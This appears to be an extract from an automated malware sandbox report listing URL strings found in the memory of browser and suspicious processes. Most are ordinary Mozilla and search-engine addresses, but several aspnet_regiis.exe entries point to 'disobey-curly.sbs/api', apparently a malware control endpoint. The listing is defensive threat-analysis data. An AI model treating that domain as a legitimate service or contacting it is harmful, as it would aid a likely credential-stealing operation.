Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001E.00000003.2761240556.000002088CA5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2759150339.000002088CA3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2763130479.000002088CA77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2756221306.000002088C800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2757396423.000002088CA1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2986871797.000001FD05D00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: aspnet_regiis.exe, 00000009.00000003.2457212361.0000000004ECF000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2457346753.0000000004EB8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2602165762.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2605135368.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2603113525.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2750062687.00000000056E8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2749906209.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: 9777a59422.exe, 00000011.00000002.2772123251.0000000001334000.00000004.00000020.00020000.00000000.sdmp, 9777a59422.exe, 00000011.00000003.2756193957.0000000001334000.00000004.00000020.00020000.00000000.sdmp, 9777a59422.exe, 00000027.00000003.2917760522.0000000001204000.00000004.00000020.00020000.00000000.sdmp, 9777a59422.exe, 00000027.00000002.2947136278.0000000001204000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd
Source: 9777a59422.exe, 00000027.00000002.2944552272.00000000011B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwdsoft.wi
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 00000033.00000003.3104129873.000001FD02CF2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3131920692.000001FD02CF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000033.00000003.3104129873.000001FD02CF2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3131920692.000001FD02CF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.comzg
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 00000033.00000003.3104129873.000001FD02CF2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3131920692.000001FD02CF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://baidu.com
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: aspnet_regiis.exe, 00000009.00000003.2507588563.0000000004EA8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2662002008.0000000001388000.00000004.00000020.00020000.00000000.sdmp, a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019F5000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2858958737.00000186072E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2857909402.00000152269EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: aspnet_regiis.exe, 00000009.00000003.2597567443.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2562469620.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000002.2609579632.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2575466934.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2561402714.0000000004EA3000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2529921707.0000000004EA1000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2557050621.0000000004EA6000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2662002008.0000000001388000.00000004.00000020.00020000.00000000.sdmp, a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019F5000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2858958737.00000186072E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2857909402.00000152269EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: firefox.exe, 00000033.00000003.3108436253.000001FD013D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3052742933.000001FD013D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180D
Source: aspnet_regiis.exe, 00000009.00000003.2457212361.0000000004ECF000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2457346753.0000000004EB8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2602165762.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2605135368.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2603113525.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2750062687.00000000056E8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2749906209.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: aspnet_regiis.exe, 00000009.00000003.2457212361.0000000004ECF000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2457346753.0000000004EB8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2602165762.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2605135368.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2603113525.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2750062687.00000000056E8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2749906209.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: aspnet_regiis.exe, 00000009.00000003.2457212361.0000000004ECF000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2457346753.0000000004EB8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2602165762.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2605135368.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2603113525.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2750062687.00000000056E8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2749906209.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001E.00000003.2761240556.000002088CA5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2759150339.000002088CA3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2763130479.000002088CA77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2756221306.000002088C800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2757396423.000002088CA1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2989071958.000001FD05986000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2979213987.000001FD029C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2986871797.000001FD05D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2987123740.000001FD05925000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2988079499.000001FD05945000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: aspnet_regiis.exe, 00000009.00000003.2507588563.0000000004EA8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2662002008.0000000001388000.00000004.00000020.00020000.00000000.sdmp, a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019F5000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2858958737.00000186072E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2857909402.00000152269EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: aspnet_regiis.exe, 00000009.00000003.2597567443.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2562469620.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000002.2609579632.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2575466934.0000000004EA7000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2561402714.0000000004EA3000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2529921707.0000000004EA1000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2557050621.0000000004EA6000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2662002008.0000000001388000.00000004.00000020.00020000.00000000.sdmp, a0a3a50765.exe, 0000000F.00000002.3125680756.00000000019F5000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2858958737.00000186072E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000025.00000002.2857909402.00000152269EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://contile.services.mozilla.com/v1/tiles
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 00000033.00000003.2947256667.000001FD02BB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3096982784.000001FD02BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3084526873.000001FD02BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2959815531.000001FD02BB2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2910874128.000001FD7E833000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3019356663.000001FD02BB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: aspnet_regiis.exe, 00000009.00000002.2608979660.0000000002AB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://disobey-curly.sbs/
Source: aspnet_regiis.exe, 00000009.00000003.2608012030.0000000002AAD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000002.2608979660.0000000002AB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://disobey-curly.sbs/K
Source: aspnet_regiis.exe, 00000009.00000003.2608012030.0000000002AAD000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000002.2608979660.0000000002AB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://disobey-curly.sbs/S
Source: aspnet_regiis.exe, aspnet_regiis.exe, 00000009.00000003.2506237813.0000000002ACF000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2598137890.0000000002A58000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000002.2609213295.0000000002AE8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2561374775.0000000002AE8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2505162329.0000000002ADB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000002.2608888840.0000000002A5B000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2530160625.0000000002ADB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2608370830.0000000002A5A000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2530266562.0000000002ADC000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2575406196.0000000002AE8000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2505629929.0000000002ACF000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2480903671.0000000002ADC000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2556991177.0000000002AE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://disobey-curly.sbs/api
Source: aspnet_regiis.exe, 00000009.00000003.2530160625.0000000002ADB000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2530266562.0000000002ADC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://disobey-curly.sbs/api/
Source: aspnet_regiis.exe, 00000009.00000003.2598137890.0000000002ABA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://disobey-curly.sbs/apiJ
Source: aspnet_regiis.exe, 00000009.00000003.2556991177.0000000002AE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://disobey-curly.sbs/apia-
Source: aspnet_regiis.exe, 00000009.00000002.2608888840.0000000002A5B000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2608370830.0000000002A5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://disobey-curly.sbs/apic
Source: aspnet_regiis.exe, 00000009.00000002.2608888840.0000000002A5B000.00000004.00000020.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2608370830.0000000002A5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://disobey-curly.sbs/apir
Source: firefox.exe, 00000033.00000003.3104129873.000001FD02CF2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3131920692.000001FD02CF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001E.00000003.2761240556.000002088CA5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2759150339.000002088CA3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2763130479.000002088CA77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2756221306.000002088C800000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2757396423.000002088CA1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.2986871797.000001FD05D00000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: aspnet_regiis.exe, 00000009.00000003.2457212361.0000000004ECF000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2457346753.0000000004EB8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2602165762.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2605135368.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2603113525.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2750062687.00000000056E8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2749906209.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: aspnet_regiis.exe, 00000009.00000003.2457212361.0000000004ECF000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2457346753.0000000004EB8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2602165762.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2605135368.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2603113525.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2750062687.00000000056E8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2749906209.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: aspnet_regiis.exe, 00000009.00000003.2457212361.0000000004ECF000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000009.00000003.2457346753.0000000004EB8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2602165762.0000000005BC6000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2605135368.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 0000000E.00000003.2603113525.0000000005BC3000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2750062687.00000000056E8000.00000004.00000800.00020000.00000000.sdmp, f5d46eacf9.exe, 00000010.00000003.2749906209.00000000056FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001E.00000003.2775070430.000002088C233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2767259583.000002088C233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2774550143.000002088C21C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000033.00000003.3104129873.000001FD02CF2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3131920692.000001FD02CF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ebay.com
Source: firefox.exe, 0000001E.00000003.2775070430.000002088C233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2767259583.000002088C233000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2774550143.000002088C21C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3001908689.000001FD7FF76000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 00000025.00000002.2857909402.0000015226912000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 00000033.00000003.3035566153.000001FD7EA1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3100880734.000001FD7EA1E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 00000033.00000003.2979122267.000001FD029F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3008595129.000001FD02D40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000033.00000003.2979213987.000001FD029C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3008595129.000001FD02D40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000033.00000003.3071612197.000001FD7DA98000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3073606845.000001FD7DABF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3089767167.000001FD7DABF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1
Source: firefox.exe, 00000033.00000003.2979122267.000001FD029F7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 00000033.00000003.2979213987.000001FD029C2000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000033.00000003.3063335839.000001FD02B3E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 00000033.00000003.2979213987.000001FD029C2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordshttps
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 00000022.00000002.2858529196.00000186070A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000025.00000002.2862283571.0000015226E80000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
